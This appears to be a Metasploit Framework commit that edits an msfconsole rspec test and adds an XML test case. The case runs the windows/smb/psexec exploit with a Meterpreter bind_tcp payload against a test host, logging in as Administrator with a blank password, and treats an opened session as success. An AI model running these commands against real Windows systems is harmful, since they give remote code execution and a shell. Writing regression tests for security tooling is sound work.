psexec test, rename http 100_continue test
git-svn-id: file:///home/svn/framework3/trunk@11675 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f3081a226a
commit
9a96aed4e7
|
@ -149,7 +149,7 @@ describe "Msfconsole" do
|
|||
File.open("#{@input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands }
|
||||
|
||||
## Create the rspec Test Case
|
||||
it "should not error on commands in: #{test_case.name}" do
|
||||
it "should #{test_case.name}" do
|
||||
|
||||
## Gather the success / failure strings, and combine with the generics
|
||||
success_strings = test_case.expected_successes
|
||||
|
|
|
@ -25,7 +25,7 @@
|
|||
<failures>
|
||||
</failures>
|
||||
<failure_exceptions>
|
||||
<success>Exploit exception: The connection was refused by the remote host</success>
|
||||
<failure_exception>Exploit exception: The connection was refused by the remote host</failure_exception>
|
||||
</failure_exceptions>
|
||||
</output>
|
||||
<msf_test>
|
|
@ -0,0 +1,31 @@
|
|||
<xml>
|
||||
<msf_test>
|
||||
<name>
|
||||
psexec
|
||||
</name>
|
||||
<description>
|
||||
This test runs psexec on a vulnerable host.
|
||||
</description>
|
||||
<commands>
|
||||
use windows/smb/psexec
|
||||
set WORKSPACE default
|
||||
set RHOST vulnerable
|
||||
set SMBUser Administrator
|
||||
set SMBPass
|
||||
set payload windows/meterpreter/bind_tcp
|
||||
set LocalOutput msfconsole_spec_working/output/psexec
|
||||
exploit
|
||||
exit
|
||||
exit
|
||||
</commands>
|
||||
<output>
|
||||
<successes>
|
||||
<success>Meterpreter session 1 opened</success>
|
||||
<success>Meterpreter session 1 closed. Reason: User exit</success>
|
||||
</successes>
|
||||
<failures>
|
||||
</failures>
|
||||
<failure_exceptions>
|
||||
</failure_exceptions>
|
||||
</output>
|
||||
<msf_test>
|
Loading…
Reference in New Issue